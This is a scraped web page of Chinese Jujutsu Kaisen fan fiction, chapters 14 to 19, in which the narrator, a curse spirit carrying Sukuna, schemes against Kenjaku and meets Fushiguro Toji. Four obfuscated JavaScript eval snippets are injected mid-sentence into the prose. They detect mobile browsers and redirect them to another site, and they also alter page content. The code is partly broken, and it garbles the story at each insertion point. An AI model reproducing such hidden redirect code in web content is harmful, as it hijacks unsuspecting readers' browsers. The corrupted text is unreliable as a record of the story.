于是,我一脸大义,手用力地拍在灰原的肩膀上,语重心长地说道:“我说,你们两个能不能不要这么实诚,这里的战损又不是你们打出来的,报告的时候不要说这是你们的战损啊。 说话间,七海也已经走到了我身边,“可战损报告——” “写我啊。”我理所当然地说道,“全部推到我身上。” “这怎么能行!”灰原严词拒绝,“要不是有伏黑先生,我和七海海就凶多吉少了,怎么能把战损算到你头上。”他垂下头,像一只落水狗,“果然还是打工还债吧——我可以给五条前辈跑腿、写报告,他上次说可以有偿。努力一点的话,几个月怎么也还完了吧。” “别,你们可千万别和我客气,”我一手勾住灰原的脖子,悄咪咪地和他们说道,“你只管报我的名字,我可就等着他们追到我屁股上了,这么好的机会玩|弄总监部,我可不想放过。” 我甩了甩我的腿,真人的力气还真大,愣是没被我甩出去。 “你们看看他,特级咒灵,用它来抵债。”我语重心长地说着,一字一顿地让灰原的报告千万别写错,“记清楚,战损的祸源一定要写清楚——是伏黑甚尔。” 15.第 15 章 15 我的一脸坏笑让灰原不明觉厉。 但我只是拍了拍他的肩膀,让他只管放手去干,我甚至以我这么多年应试教育文科生的身份,给他们当场拟了一份报告。 关于“我”的描述,全部都用上了全名。 写得我都快不认识“伏黑甚尔”这几个字了。 七海看我眼神更加奇怪,一种……不知道该用敬畏还是看神经病的眼神。 但这些都不是重点,不论是他们两个还是总监部,都不是什么大问题。 真正麻烦的是这个紧紧抱着我大腿的真人。 这家伙一直都踩在我的雷点上,按理来说,祓除他应该是我最不需要犹豫的事情。 说真的,我就连招工都从来没有想过要招他,简直是给自己找不痛快。 可是,真到了我亲眼看到这个小屁孩儿,看到了他抱着我的腿抬头看我的样子,一脸智障儿童欢乐多的样子——我又下不去手祓除他。 大概是早产的缘故,他是真的有点大脑发育不良。 尤其我和他之间仿佛真的存在某种诅咒共鸣。透过宿傩力量的诅咒连接,我甚至能够感觉到他和我一样的那种饥饿。 同病相怜啊,我和他都是,饭都要到嘴边了,临门一脚没吃到。 算了,先带着吧。 对外一律声称难以祓除。 特级咒灵没有那么好对付,我需要一点时间也是情有可原。 和灰原、七海交换了一下聊天账号,我便和两个咒术师分开了路。 至于那个Flag密室逃脱,他们的战斗虽然不长,但惊吓和消耗绝对不少,留了联系方式,下次再说也是一样的。 更何况,和我在一起,他们两个也明显有些紧张。 我怎么感觉到的? 拜托,紧张事实上也是负面情绪的一种,这种情绪会随着咒力的波动萦绕在这两人身边。而我,能够轻易地尝出这种味道。 没错,是尝,我的味觉延伸的范围可真广。 紧张的味道是带着一点清新气味的香水柠檬,再加上了一点点茉莉茶香混合均匀。七海和灰原,活脱脱两杯暴打柠檬茶。 我心里很清楚,他们的紧张才是正常的。 如果说灰原那样没心没肺的样子还算正常的话,七海也那样不着重点就显得刻意了。 诅咒和咒力虽说本身是同宗同源,但在实际践行里,前者是咒灵生产的力量,后者是咒术师生产的力量,具有对立的属性。 分辨诅咒和咒力一定是咒术高专的入门课程之一。 我现在完全就是咒灵的状态,战斗的基础也建立在两面宿傩的力量上,所以不难想象,我战斗过程,完全就是一个诅咒乱放的过程。 而且还是个单手劈咒胎,完事儿还被特级咒灵抱大腿叫爹咪的主儿,要是当时和我撕破脸那才是真蠢。 灰原和七海原本在真人的咒胎下就已经算是死里逃生,只要有理智就不会做自绝后路的事情。 所以,他们在我的问题下,没有触碰任何可能敏感的话题,甚至连真人的处置方式都没有提,完全是理智的最优解。 保命嘛,不寒碜。 和他们俩相比,真人才是真正的谄媚。 当然,也不排除早产真的让他的大脑没有发育完全的情况。 总觉得这个咒灵傻傻的。 “站稳,不许抱在我身上。”我伸出一根手指指着他。 谁知道真人根本没有注意到我脸上的严肃,只是认真地盯着我的手指,然后“咔嚓”一口就咬了上来,嚼吧嚼吧吞了下去。 他竟然以为我是在用自己的手指喂他! 并且因为这个“喂养”的举动,他那一声声的妈咪叫得更欢、更亲密了。 “不只是好像,”宿傩大爷已经完全习惯了在我的眼睑下开个嘴说话,“他出生的压力非常大,所以,他把能用的力量都堆在了战力和继续进化的本能上。” 懂了,就是把所有的技能点都加在“力”上了,“智”是一个点也没有分到。 “不过再怎么堆战力,他也还是个弱鸡。” 是是是,我知道,宿傩你的坠吊的。 宿傩咬了一口我的脸皮,逼问道:“我怎么觉得那不是什么好话?” “怎么会,天上天下,唯你独尊,行了吧?” 我翻了个白眼,咬我有什么用,我又不疼? 没有痛感万岁! 我不知道灰原和七海回去之后打算怎么解释我的事情,反正我回去是不用看脑花的脸色。 她大概也是没有想到,我去接“新生同胞”,竟然还真的接了个不太聪明的小屁孩儿回来——这和她的情报预测,恐怕大相径庭。 但好消息,花御能够隐藏气息、降低警惕的术式和陀艮融合的很好,基地变回了阳光海浪和沙滩,我不用考虑偷脑花或者五条猫的卡在外面租公寓了。 “‘妈咪’?”她看了看真人,又看了看我,“他叫你‘妈咪’?” 花御随着她的言语转过头来看我,她明明没有真正意义上的眼睛,但我就是在她那两根从眼眶里伸出来的木枝上看出了一点点羡慕。 竟然是羡慕。 如果话语能把这个“妈咪”的身份拿走,我真的会感激不尽。 不过,心里再怎么骂街和排斥,面对脑花的时候,我肯定是一步不能退的。 “怎么,只许你当妈,我就不能了?” 我说着,还把我的手伸给了真人。 后者一脸“睿智”,抱住我的胳膊就啃。 说实话,在有一定宿傩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006404|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人设的情况下,我的手指那真是大补。 脑花的表情管理相当到位,又被我cue了一次孩子的事,但却表现得非常淡定,但估计背后早就复盘无数次了。 好奇和警惕驱使着她开口,想要提前把可能存在的隐患排除掉,“说起来,为什么觉得我会有孩子这种东西啊?咒灵的生育方式和人类完全不同,实际上是不具有任何生育能力的。还是说——咒灵之咒灵有什么不同的地方吗?” 虎子是她底牌中的一张,对她来说是绝对的秘密。 不论是直白询问还是旁敲侧击,她都得搞清楚这件事。 我猜她这几天已经疯狂内耗过了。 “这我倒是没试过,”但我的功能肯定是完整的,我认真地点头,“可如果你是虎杖香织的话,那你肯定就是那个男孩的母亲,我看·到·了。” 脑花连额头上的缝合线都清晰地跳动了一下,“看到了?” 我仿佛都能听到她大脑飞速运转的声音,她肯定在疯狂地回溯记忆,思考自己是在什么地方有可能会露出破绽。 不需要回溯太久,毕竟我来到这个世界的时间并不算久。 但正是因为不久,所以她一帧一帧地回忆也没有发现我踪迹的时候,就会格外焦虑。 如果我不揭晓答案的话,她估计得emo好几晚,疯狂复盘自己的行动。 我倒是挺想看她网抑云emo的,但脑花这种生物,越是焦虑就越容易脑补。我担心她悄咪咪地背刺我,所以还是至少给她设定一个范围。 “嗯,”我点了点头,“咒术师的咒力、咒灵的诅咒,都是你们生命线的表现,你们自己大概不会有感觉吧。但你们的行动和记忆,都记录在自己的力量上啦,所以你们的诅咒才会有不同的味道。” 我用力把真人甩开,这家伙吃得未免有点太兴起了,影响我摆pose。 挺胸抬头肩膀自然下垂,我指背撑在颧骨上,眼睛直勾勾地盯在脑花额头的缝隙上,感受着从那里逸散出来的味道—— 脑花,要是能烫火锅就好吃了。 “你的记忆最有意思,香织。我本来以为,咒灵的话就只会有诅咒力量的,谁想到你身上还有咒力味。怎么,你——是跳槽过来哒?”我故意嘻嘻一笑,接着就又戳了她一刀,“而且,香织这个名字,你用的时间也不长,你自己不是也没那么喜欢吗?我们都已经是同胞了,怎么还把自己最喜欢的真名藏起来,我可真是伤心透了,说好要让我体会一下家的温暖呢。果然不是亲生的就是不一样啊。” 说实话我是需要一点教育帮助的,真人这个智障儿童怎么才能进化成虎子那样的阳光开朗大男孩? 但脑花……虎子能长成那样全靠他爷。但真人的爷,似乎是某位真·大爷·两面宿傩,完全不在一个赛道。 16.第 16 章 16 我当然不仅仅是为了背刺脑花。 开玩笑,我是那么肤浅的人吗! ……好吧,我可能肤浅,但这次确实有一点小心思。 陀艮和花御毕竟是脑花聚集起来的咒灵,虽然说起来大家都是同胞,脑花也没有以“首领”这样显眼的身份自居过,但花御和陀艮对脑花的认同,肯定要在我之上。 脑花那么会PUA,我可不想招个隐患回来。 先把他们和脑花浅浅地做一下切割,破坏一下花御和陀艮对脑花的认同和好感。 这两个咒灵相当单纯,他们向往着同伴互助的生活和关系,享受着咒灵团体带来的认同感,并且毫无保留。 咒灵同胞之间享有的忠诚可比咒术师、人类之间要强多了。 这样的单纯咒灵最好操作,欺骗对他们来说可是相当败好感的事情。 尤其是,你脑花连名字都用假的,还能有什么是真的? 怀疑只要种下去了一丢丢,就是我的阶段性小胜利。 果然,我的话一出,花御和陀艮就同时转向了脑花的方向。 一种隐隐受伤的情绪悄无声息地蔓延。 尤其是陀艮,嘴边的触须蠕动着,甚至发出了一点点呜咽的声音。 不过脑花也不是第一天混江湖,虽然她一瞬间冒出来的紧张并非作假,但她的备用方案简直堪比当代蝙蝠侠。 “这样说就太伤我心了,我只是没有你们这样完整的咒灵体——”她低下头,抬手捏住蔓延到太阳穴的线头,轻轻一揪,额头上的缝隙便被完全拉开。 “咔”的一声骨响,她的全自动头盖骨掀开,露出了里面柔软的脑子。 尖锐的声音从她的那张脑花嘴里传了出来,带着显而易见的委屈,“如果没有人类的身体作为介质,我的本体太容易被祓除掉了。” “祓除?凭谁,凭那群废物咒术师吗?”我伸出一点舌尖,舔舐着飘到我嘴唇上的诅咒味道,让这种味道在我的记忆当中强化。 脑花可以随意地更换身体,使用的术式和咒力都可以随之变化,但本体是唯一的。 我也没有想到,她竟然会这样轻易地表露自己的本体。 浓烈的黑色线条包裹在她的脑花边缘,一个漫画式的突出效果,就连脑花发出的声音都仿佛贴在一个对话框里。 这会不会有点太顺利了。 我打量着脑花,她显然非常在意现在的咒灵联盟。 不惜表露自己的本体示弱来稳住局面。 “不是谁都有你这样强大力量的。”她完全没有落入自证的陷阱里,甚至不直接反驳我的话,只是顺畅地输出自己的观点,“我,很弱的。” 这可真是太自谦了。 “只凭我一个人的话,无论如何是成不了事的。”她非常自然地将她当作一块拼图,放入了咒灵团体之中,“咒灵的大业,需要‘我们’,我们一起。” 她伸手,一左一右握住了花御的手和陀艮的触须。 脑花那种坚定中带着柔软,坚强中暗含示弱的神情和情绪,非常精准地戳中了花御,“香织说得对,我们是咒灵,和人类不一样。名字并不重要,重要的是我们要团结在一起。” 要不怎么说脑花喜欢和咒灵混在一起呢,他们实在是太好骗了。 咒灵的单纯程度远超任何咒术师的想象。 在咒灵的身上,真的很难看到什么复杂的人性。 我提出疑问,花御和陀艮马上就会顺着我的想法走下去,而脑花打一手感情牌,他们也会吃下这一套组合连招。 但这也就意味着,想要拐走他们并非难事。 所以,结论是好的。 我认真一点头,“说得有道理,所以——我们的大业是什么来着?” 说真的,先前那几天和花御、陀艮混在一起,每天就是吃喝玩乐,正事只做了一件——不对,唯独的一件正事好像也让我跳反了。 我看着真人坐在沙滩椅上抱着自己脚啃的样子,额……抱歉,任务对象的“同胞”被我搞成了脑残。 “这个世界这么美丽、这么广阔。人类所占据了太多不属于他们的东西——森林、海洋,人类从来没有珍惜过它们的价值。我们是比人类更加高等我物种,我们比他们更加懂得要如何对待这个世界、要如何爱护这个世界,这个世界理当有我们来掌握!” 环、环保战士! 我觉得这个发言和某位瑞士少女的“how dare you”发言微妙重合。 脑花却说得激情四射,她坐到了我身边,用亮晶晶——甚至是发光的眼神看着我,“这也是伟大的诅咒之王留下来的未尽之事,你是他孕育的孩子,一定能明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017581|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的吧——这是我们应该完成的任务!” “……哦。” 好朴实无华的反派愿望。 你怎么看,伟大的诅咒之王? ——“无聊,世界、人类、咒灵,这些都和我没有关系。” 伟大的诅咒之王殿下在我的体内翻了个大大的白眼,似乎对脑花的描述并不感兴趣。 甚至,他对这种冠冕堂皇的言语异常排斥。 脑花的眼神依然紧紧地盯在我身上,似乎是想要让我也来一段激情澎湃的演讲。 但不是我唱衰这个理想,脑花你要不要看看咱们的这个团队——单纯好骗、可以随意PUA的花御;好像根本没有听懂脑花言语、只是跟着她的激情胡乱欢呼两声的陀艮;被我两刀砍成了早产脑残、抱着花御啃她眼眶里木枝的真人;毫不关心这些所谓“事业”的伟大的诅咒之王殿下;以及纯二五仔,随时打算翘了墙角就跑路的我——还有脑花自己,她也是个二五仔来着。 我为这个团队的前途感到担忧。 果然,唯一的事业脑就只有尚未入职的战力单位漏瑚酱。 只有他是真心这个组织的大业肝脑涂地的咒灵。 “所以——我们有什么下一步计划吗?” 我问。 “当然了,”脑花就像是一个固定任务栏,随机刷新支线任务,“虽说人类是低等生物,但作为诅咒的产生者倒也不算无用,真正像是苍蝇一样烦人的是咒术师,他们才是需要灭绝的物种。” 哇哦,咒灭之刃(bushi)。 这次不用我说,花御也能感受到其中的困难。 咒术师和咒灵自诞生起就一直维持着一种平衡,两方的力量总是势均力敌,任何一方想要灭绝另一方都是几乎不可能的事。 这读作“宿命”,写作“作者的大宇宙意志”。 “即使是宿命也有破绽,非常短暂破绽。我们需要抓住这个破绽,抓住这唯一一次机会。”脑花身体前倾,神秘地将语调拉长、语速放缓,甚至压低了声音—— 我也跟着压低声音,悄咪咪地接了一句,“道理我都懂,但我们为什么要这样说话?” 脑花破功,给了我一个相当无语的眼神,也没有了再卖关子的意思,“咒术师的现有体系围绕着一个叫做天元的咒术师,它会是我们改变一切的转机。” 17.第 17 章 17 你别说,还真别说,脑花这次意外的坦诚,竟然跳过了好几步,直接到了最终结尾。 众所周知,脑花那一套一套有一套的套娃计划里,最困难的、最重要的一步,就是把天元搞到手。 甚至可以说,天元已经是她计划的尾声了。 说咒灵大同什么的,也都是为了之后挖天元墙角做准备。 毕竟她“人类进化”目的的本质,还是一种咒术师倾向的进化,而没有了不能自控负面情绪产生的诅咒的普通人类,咒灵也必然会进入一种灭绝的状态。 所以,脑花百分百是人类转化的咒灵,而不是真的从仅从诅咒中诞生出来的咒灵。 只可惜,咒灵们的思想单纯,也完全没有开上帝视角的机会。 我心里这句还没有感叹完,就觉得体内的诅咒突然一阵强烈的翻涌,眼前好不容易被花御均衡起来的海滩领域又出现了显而易见的动荡,陀艮也非常怂包地快速缩到了角落里。 我浑身烫着,黑色的咒纹几乎是一瞬间就布满了皮肤。在喷涌的诅咒里,我能够感觉到一股说不上来的怒火和怨愤。 这不是我的情绪,而是两面宿傩的情绪。 大爷,你怎么个事儿? 我用力按住胸口,将这股翻动的力量压了下去,逸散的诅咒顺着我的舌根滑下了喉咙。 顿时,我的大脑一阵眩晕,缓慢的音乐加上碎片化的记忆直接甩到了我脸上。 阳光的刺眼、草坪的触感还有皮肤摩挲的温度——一切都真实得仿佛是我在亲身经历,但那些旧时代的建筑和服装,显然不属于这个时间。 哪怕是对御三家来说,这个记忆中的建筑也有些太复古了。 我马上就意识到,这是两面宿傩的记忆。 脑花,你可真是不负所托,我才刚刚和你对了一下口供,你的buff就加到了我身上。 我舔着嘴唇。 通常情况下,我和宿傩的诅咒混在一起。除了吞手指的时候,我大概很难单独尝到宿傩的诅咒,也很难直接读取他的记忆。 但,他现在的情绪显然非常激动。 情绪外露到了纯粹的诅咒力量在翻动。 是什么触发了他的情绪变化? 我回溯着记忆,将我和脑花的对话重新审视了一次。 两面宿傩对那些大义凛然的话语毫无兴趣,真正让他感兴趣的,或许应该是—— 天元? 两面宿傩和天元有这么大的仇吗? “消停点!”我给了自己一巴掌——当然,这巴掌是打在了宿傩的五官上。 伤害性不大,但侮辱性极强。 我毕竟对两面宿傩的力量有绝对的压制效果,所以尽管身体内的力量使劲翻涌着,但至少把这个翻涌过程限制在了我体内。 说真的,陀艮看上去已经快要吐魂了。 花御的术式并非绝对,五条猫可以凭借扇自己一巴掌从幻梦中醒过来,两面宿傩的愤怒烧身也是相同的道理。 “省去那些乱七八糟的前言和铺垫,直接说我们要怎么做。”我赶紧开口,让脑花挑重点的来说。 她似乎是在观察我,“嗯”的一声拖长了音调,想继续看看我和宿傩之间的拉扯会发展到哪一步。 这样,她就知道自己该往哪一边下注? 我翻了个白眼,不知是什么触发,让我一瞬间产生了一种非常直接的想法。 或许我应该把事情变得简单一点,脑花就在我面前,果然还是直接把她的本体掏了。 这样我就完全无后顾之忧了,对吧? 唯一需要注意的,就是她有一定概率留了可以跑路的后手,而且这个后手可能还不止一个。她一旦跑路,再想要抓住她可就困难了。 我眼睛一眯,视线定在脑花打开的脑壳里,如有实质的欲望包裹在她的本体周围。 危险感在这一瞬间沿着脑花的后背直上。她和某位鬼王一样的苟王基因觉醒,果断干脆地开口,“我们首先得阻止天元和星浆体的融合。天元的术式非常特别,想要杀死它非常困难,首先就得保证它的状态处于一个不稳定的节点。” 叮!您的好友「脑花」发布了一个新任务。 “按照我的推测,天元大概会在未来的半年内出现分化状态,到时候,它必然会需要选召星浆体进行融合。” “那我们只要提前把星浆体杀死,不就行了吗?”花御问。 “没有那么容易,星浆体的存在在使用前处于绝对保密的状态,而且通常拥有一到两个备选方案,”脑花合上了自己打开的脑壳,原本已经愈合到几乎看不清的缝合线又清晰了起来,“哪怕是我到目前为止也只打听到一个有确切信息的星浆体,她的名字是——” 天内理子是吧,我早就知…… “九十九由基。” 啊?! 花御一脸苦大仇深,“我好像听说过这个名字。” “当然,即使是在咒灵当中,这个名字也绝对是如雷贯耳。毕竟——这是现在唯一的特级咒术师,咒术师的巅峰。” 听这个描述,我差点以为是在说五条猫。 但就这个时间点来说,不论是五条猫还是杰哥,都还没有到未来的战力程度。 现在的咒术界,有且仅有一个特级,那就是九十九由基。 而这个特级,还正巧是个星浆体。 “所以,我们需要杀了她。”我接上了话,带着杀戮意味的言语进一步刺激了原本就在不可控状态的两面宿傩。 他现在恨不得亲自上场出去发泄一番。 “是的,虽然星浆体很可能不止她一个,她很可能也不是天元的第一选项,”毕竟特级咒术师的含金量可不是一般的高,只是作为星浆体被融合的话,未免也太浪费了,“但对我们来说,她的存在是最麻烦的那个。” 以咒灵的立场来说,想要统治世界怎么也得先灭绝了咒术师这个团体。 特级咒术师就是永远不可能绕开的话题,不是现在也是未来,和九十九由基的交手是必然的。 花御不是纯战斗的类型,陀艮怂怂地完全不敢主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047552|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动出击,真人……真人是智障儿童。 果不其然,脑花转头看向了我,一脸期待。 叮!星浆体任务已发布,请问是否接取? A.是 B.接取 C.一个字就是干! 我还没有找到人给我打工,自己就先这里开始给别人打工了。 “这件事交给我。”我硬着头皮接下了这个活儿,反正也DDL(Dead line),先画个饼,“那剩下的星浆体呢?只杀一个不够吧。” “这一点尽管放心,只要咒术界一有动静,马上就会有人让我们知道答案。”脑花自信满满,“毕竟以星浆体为目标的,可不只是我们咒灵。” 我眉毛一挑,“盘星教。” 脑花有点惊叹地看了我一眼,第一个瞬间似乎惊异于我竟然知道这个名词,但很快就意识到,我的知识很有可能是来自她的记忆碎片。 眼神顿时收敛起来,浑身上下都充满了精神,诅咒收得紧紧的,生怕我再从她的诅咒里读取她的记忆。 谁让她有那么多见不得人的事。 “没错,这正是我要说的,他们对天元纯洁的崇拜人尽皆知。有他们打掩护,我们就有机会掩盖行踪,现在还没到可以掀桌的时候,”她说着看向了我,“最好把九十九由基的锅也甩在他们身上。” “没那么容易吧,再怎么说也是特级咒术师,盘星教那么一群小喽啰也有机会暗算她?”我当然知道脑花打的什么主意,但蝴蝶效应这种东西果然还是防范一手,我要尽可能详细地知道脑花的计划。 “你刚刚诞生恐怕还不知道,在人类的世界里,有一样永远无往不利的‘武器’,一样可以杀死任何人的武器——” 脑花伸出一根手指,“钱。” 她胸有成竹,“只要有钱,没有什么事情是做不到的。恰好,盘星教还真就有那么点资本——而且,我已经帮他们相好了打手。” 是你!真·伏黑甚尔! 有钱能使爹咪推五条副本。 脑花需要的不仅仅是一个打手,还得是一个能够打破命运的打手,一个被咒力平衡所束缚的打手。 确切地来说我也在咒回的宿命之外,但脑花不知道这一点。 对她来说,伏黑甚尔的必然的选择。 她把一个被试管封住的东西放到了桌面上,透明的玻璃壁内飘着一块紫色的……某种肉质组织? 这不会是什么诅咒物吧? 咒胎九相图? 那东西现在应该还没有被取出来才对。 我动了动鼻子,虽然有玻璃试管隔绝,但我的感知力非常强大,可不是这一点东西能阻挡的。 这里面的咒力微弱到连蝇头都无法祓除的地步,甚至还不如普通人的全力一巴掌。 脑花都是拿它来干嘛? “啊,这个东西啊——这可不是咒物,我用咒力完全只是为了保证它的‘新鲜’和活性。”脑花用指头滑动着试管外壁,微笑地看着里面的东西,“你问这是什么东西?这是专门给人类准备的,肿瘤——四期。” 18.第 18 章 18 提问,要如何干掉一个特级咒术师? 回答,首先得能找到这个咒术师。 我看着脑花提供给我的未来两周咒术师任务单,不禁感叹——不愧是牛马咒术界,真是只要干不死,就往死里干。 难怪原作里的五条猫时常“姗姗来迟”,就特级咒术师的这个任务强度和密度,就是坂口安吾来了也得说一句好家伙。 不过,脑花非常语重心长地建议,让我不要这么快出手。 得等到她的事办完后,再杀九十九由基才容易甩锅。 等她的事办完,等她的事办完那真是黄花菜都凉了。 她刚拿出那个肿瘤的时候,我还没有意识到肿瘤的用途——杀人? 拜托,我们是咒灵诶,杀人还要用肿瘤这种东西吗? 不仅好笑,而且效率极低。 但脑花却一脸高深莫测,说肿瘤的杀人效率虽然没有抹脖子那样高,但却能够把锅甩得干干净净,让人无法察觉到杀人者的身份,只能归咎于命运。 所以——? 难道脑花也有某位银河系爵爷老爹一样的高贵身份,打算去母留子?* “有羁绊的刀不够锋利,我不需要刀鞘,只需要一把能够捅穿一切的锋利武器。他会是盘星教最好的工具,也会是我们最好的工具。” ……不、不会吧? 你不会是在说——爹咪吧? 我暗自瞪大眼睛,直到那一刻才反应过来脑花究竟在说什么。 这个肿瘤,看似杀伤力不大,但其实却是一切命运的开端。 因为它是用来终结伏黑甚尔所跳出的那条命运线的。 它是用来杀死爹咪妻子的。 反过来也就是说,爹咪现在有妻有子,处于人生大赢家阶段! 我艹!我芔! 虽然爹咪这个人渣怎么样都无所谓,但我必须要守护最好的海胆惠! 我迅速推翻了之前的一切计划,虽然之前刻意用爹咪身份也确实是为了让咒术界帮我寻找擅长隐匿的爹咪。 但现在,性质完全变了。 我这个干劲一下子就冲上来了。 上头中,勿cue。 只不过,脑花完全没有把这个任务交给别人的意思,毕竟放肿瘤可是个相当需要技术性的操作。 我越发地意识到,这是个机会。 一个背刺脑花的好机会。 只不过,在背刺别人之前,我也得先顾及一下自身的状况——攘外怎么也得先安内。 好吧,我也确实非常好奇,两面宿傩逼格这个高的角色,为什么会突然破防。 那样翻腾的情绪绝对在破防的范畴。 当然这些有几率成为弱点的东西,我并不会在咒灵阵营里明目张胆的排除——特别是不会在脑花的眼皮子下有奇怪的动作。 我探索了一下东京地图,找了个奇怪的角落来内视某位大爷的生得领域——当然,他对我的到访并不满意,甚至非常生气。 “少管我的事。” 他冷笑着,一点谈话的意思都没有,神情和动作都充满了抗拒。凛冽的眼神甚至充满了杀意,震慑力十足。 但是—— 家人们,谁懂啊,他用的是我的脸,有多少震慑力在我眼里都只剩下羞耻了。 “你来大姨妈了?”我嘴角抽动着,“你现在就在我体内,什么你的事,我的事,都是一样的事。而且——你应该有意识到了,我可以在你的诅咒里看到你的记忆吧?我看到你拉别人的小手了。” 那个温热柔软的触感,一定是女孩子的小手手。 两面宿傩,你这个凶残的老大爷不会也叛变我们寡王阵营了吧。 “既然如此,那就努力收集我的手指,一根根吞下去看。”宿傩大爷半点也不受我威胁,“看看你究竟能够承受到几根手指?” 说不定手指的数量达到一定程度,我就真的要超进化成两面宿傩了。 呸呸呸——不能说这么不吉利的话。 我又变着法儿地烦了烦他,但他两眼一闭谁都不理的样子实在是太坚决。 侧面也反映出,天元这个角色和宿傩,很有故事。 我回忆了一下在记忆碎片当中的触感——那个小手手,不会就是天元吧? 他俩有一段狗血爱情故事? 这个剧情走向真的有点诡异,我一时间竟然不知道该感叹谁的品位怪异。 两面宿傩自己视角的记忆当然看不到两面宿傩本体的模样——这是真·记忆读取,而不是漫画闪回,第一人称的视角非常真实,我只能隐约地感觉到,两面宿傩真的很高。 怎么也有两米左右。 但看过漫画的我,就算是不知道他的模样,也知道天元长什么样子。 四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057960|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只眼睛水桶身体,可谓是要多怪有多怪。 也许……那就是咒灵的审美? 鉴于我现在也是个咒灵了,我为自己的未来感到深深地担忧。 亲爱的世界意识,就算是未来要同化我,也请不要同化我的品位。 别让我爱上天元这样的大聪明,看清楚标题分类,我在无CP区。 我开始对着大爷逼逼赖赖—— “我说,你不会真是和天元有一段儿吧?虽然品味奇怪了一点,但是真爱无敌,不寒碜,我不会笑话你的。” “如果你们两个在一起的话,应该是分类在纯爱区,还是第四爱里?咒灵真的有性别吗?” “如果你是两·面·的话,是上下半身都有两倍?我知道、我知道——这里是PG13区,我只是好奇,鉴于你现在的实际上用的是我的脸。” “其实仔细想想,天元也是四只眼睛,所以它也是两面系统里的一部分,你们俩果然般配!真爱,这就是真爱!” 大爷的情绪显然被我挑动了起来,周围的生得领域已经完全变成了御厨领域,周围的环境凌厉起来,我接连闪避躲了几个菜刀攻击。 玩不起,说不过我就想要揍我。 但论闪避,我可是点满的! 我一边扭动身体,一边持续输出。 “如果你自己不好意思说,我完全可以帮你表白心意。” “咒术界今日头条,《震惊,诅咒之王那些不得不提的过去》、《虐恋情深,两面宿傩和天元大人不可不提的往事》、《致咒灵和咒术师那些相爱相杀的青春》、《宿敌就是老婆啊》……” 两面宿傩终于有点破防了,一jio把我踹出了他的领域。 当然,这毕竟是我的身体,我想要进去的话,完全不是问题,但我选择了放弃。 不要误会,我并没有真的放弃和大爷的拉锯战——我认为,只要我够烦人,他总有一天会完全破防的。 只不过,体内的生得领域不会阻挡我对外界的感知,有什么东西冲着我来了。 我一睁眼,迎面就看到了一把朝着我的脸劈来的刀——这把刀非常快,快到连我的动态视力都完全无法捕捉。 连残影都很少,几乎就是一束光。 你相信光吗? 然后——我G了。 字面意义上的,被刺了一刀。 穿胸而过。 19.第 19 章 19 再一次,没有痛感万岁! 大量的血液喷涌而出,浸染到了我的外衫,也沿着T恤的褶皱流了下去。 Oh No! 我的红血球们! 我捂住了伤口,反转术式迅速捏住了出血点,但身体能够被咒力修复,衣服却不行——我的服装真是多灾多难。 “我蛮中意这件衣服的。”我叹了口气,看着眼前退开几步的人,他手里那把刀上还沾着我的血,并且刀型也和我的伤口完美契合——人赃并获,“伏黑甚尔君。” 没错,是他是他就是他。 爹咪的登场真是朴实无华,能动手就不BB,满脸都写着简单的杀戮,仿佛这只是件再正常不过的事。 不论是在漫画当中看到的爹咪,还是降灵体的爹咪,都不能和眼前这个原装正版爹咪相提并论——只有当真正面对他的时候,尤其是以一个咒灵的身份面对他的时候,才能清晰地感觉到那种战力差距。 他就站在我面前,但是我却感觉不到他的存在。 「天与咒缚」最可怕的地方就在这里,他身上真的一丁点咒力都没有,再加上一点收敛气息的技巧。他要是晚上出现在我面前,我真的会以为自己是来到了什么伽椰子片场。 “伏黑甚尔不是你吗?”爹咪把手里的刀一甩,刀面再次变得又光又亮,一点血迹都没有留在上面。 不过,咒灵的血液本来也并非一种真正的实体,而是和咒灵的身体一样,由纯粹的诅咒组成,即使放在那里不管,血迹也会随着诅咒的消逝而蒸发。 像是《进O的巨人》中的巨人血。 只是,我的情况,或许更特殊一些。 